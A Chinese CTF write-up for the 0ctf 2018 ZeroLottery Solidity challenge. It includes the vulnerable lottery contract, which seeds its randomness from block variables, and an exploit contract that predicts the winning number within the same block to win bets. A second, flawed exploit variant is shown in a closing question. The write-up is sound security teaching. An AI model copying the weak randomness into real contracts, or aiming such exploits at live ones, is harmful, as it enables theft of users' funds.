Randomness(1)
0ctf 2018 ZeroLottery
题目最终需要我们做到的是
Your goal is make your ZeroLottery’s balance > 500
题目源码
pragma solidity
{ #0}
.4.21;
contract ZeroLottery {
struct SeedComponents {
uint component1;
uint component2;
uint component3;
uint component4;
}
uint private base = 8;
address private owner;
mapping (address => uint256) public balanceOf;
function ZeroLottery() public {
owner = msg.sender;
}
function init() public payable {
balanceOf[msg.sender] = 100; //初始化,初始金额100
}
function bet(uint guess) public payable {
require(msg.value>1 ether);
require(balanceOf[msg.sender] > 0);
// uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
uint secretSeed = uint256(keccak256(
(uint)(block.coinbase),
block.difficulty,
block.gaslimit,
block.timestamp
));
uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
if (guess != n) {
balanceOf[msg.sender] = 0;
// charge 0.5 ether for failure
msg.sender.transfer(msg.value - 0.5 ether);//猜错了,扣0.5 ether.
return;
}
// charge 1 ether for success
msg.sender.transfer(msg.value - 1 ether); // 猜对了,1 ether换balance100
balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
}
function paolu() public payable {
require(msg.sender == owner);
selfdestruct(owner);
}
}
解题
不怎么需要分析就是单纯的随机数预测,题目使用区块变量来生成了伪随机数,所以我们部署第三方合约调用函数时用同样的方法计算seed生成出来的随机数是一样的,因为此时两合约打包在一个区块中,所以所使用到的区块变量都是一样的。
攻击合约.
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.21;
import "./source.sol";
contract exp {
address constance = address(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8);
ZeroLottery target = ZeroLottery(constance);
constructor() payable public{
}
uint private base = 8;
function betSucess() public payable{
uint secretSeed = uint256(keccak256(
(uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp
));
uint n = uint(keccak256(uint(this), secretSeed)) % base;
target.bet.value(1.1 ether)(n);
}
function getBalance() public view returns (uint){
return target.balanceOf(address(this));
}
function InitBalance() public {
target.init();
}
}
初始化一次。然后调用四次betSucess即可。还有一种回滚攻击看看wp吧,很容易理解。

一些疑问
当我这样去写exp时,并不能每次都计算出正确的随机数,并且尝试了多次最多就只能正确算出一次,无法连续正确计算几次。
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.21;
import "./source.sol";
contract exp {
address constance = address(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8);
ZeroLottery target = ZeroLottery(constance);
struct SeedComponents {
uint component1;
uint component2;
uint component3;
uint component4;
}
constructor() payable public{
}
uint private base = 8;
function seedSame(SeedComponents components) internal pure returns (uint) {
uint secretSeed = uint256(keccak256(
components.component1,
components.component2,
components.component3,
components.component4
));
return secretSeed;
}
function betSucess() public payable{
uint secretSeed = seedSame(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
target.bet.value(1.1 ether)(n);
}
function getBalance() public view returns (uint){
return target.balanceOf(address(this));
}
function InitBalance() public {
target.init();
}
}